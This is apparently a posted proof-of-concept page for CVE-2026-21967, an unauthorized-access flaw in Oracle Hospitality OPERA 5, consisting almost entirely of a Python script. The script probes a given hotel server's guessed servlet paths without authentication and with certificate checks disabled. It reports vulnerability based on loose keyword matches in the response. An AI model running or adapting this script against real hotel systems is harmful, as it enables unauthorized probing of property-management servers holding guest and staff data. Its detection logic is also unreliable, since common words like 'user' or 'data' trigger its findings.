CVE-2026-21967 Oracle Hospitality OPERA 5 Opera Servlet组件未授权访问漏洞

import requests import sys # CVE-2026-21967 PoC - Oracle Hospitality OPERA 5 Unauthorized Access # Target: Oracle Hospitality OPERA 5 Opera Servlet # Affected Versions: 5.6.19.23, 5.6.25.17, 5.6.26.10, 5.6.27.4 def check_vulnerability(target_url): """ Check if target is vulnerable to CVE-2026-21967 This PoC attempts to access Opera Servlet endpoints without authentication """ # Common Opera Servlet paths that may be exploitable servlet_paths = [ '/opera/servlet/OperaServlet', '/opera/servlet/com.oracle.opera.servlet.OperaServlet', '/servlet/OperaServlet', '/opera5/servlet/OperaServlet' ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } print(f"[*] Testing target: {target_url}") print(f"[*] Vulnerability: CVE-2026-21967 - Oracle Hospitality OPERA 5") for path in servlet_paths: url = target_url.rstrip('/') + path try: # Attempt unauthenticated access to servlet response = requests.get(url, headers=headers, timeout=10, verify=False) # Check for signs of vulnerability (sensitive data exposure) if response.status_code == 200 and any(keyword in response.text.lower() for keyword in ['data', 'config', 'user', 'admin', 'property']): print(f"[+] POTENTIALLY VULNERABLE: {url}") print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") return True elif response.status_code == 200: print(f"[*] Endpoint accessible (needs further testing): {url}") except requests.exceptions.RequestException as e: print(f"[-] Error testing {url}: {e}") print("[*] No obvious vulnerability indicators found") return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21967-poc.py <target_url>") print("Example: python cve-2026-21967-poc.py https://hotel.example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)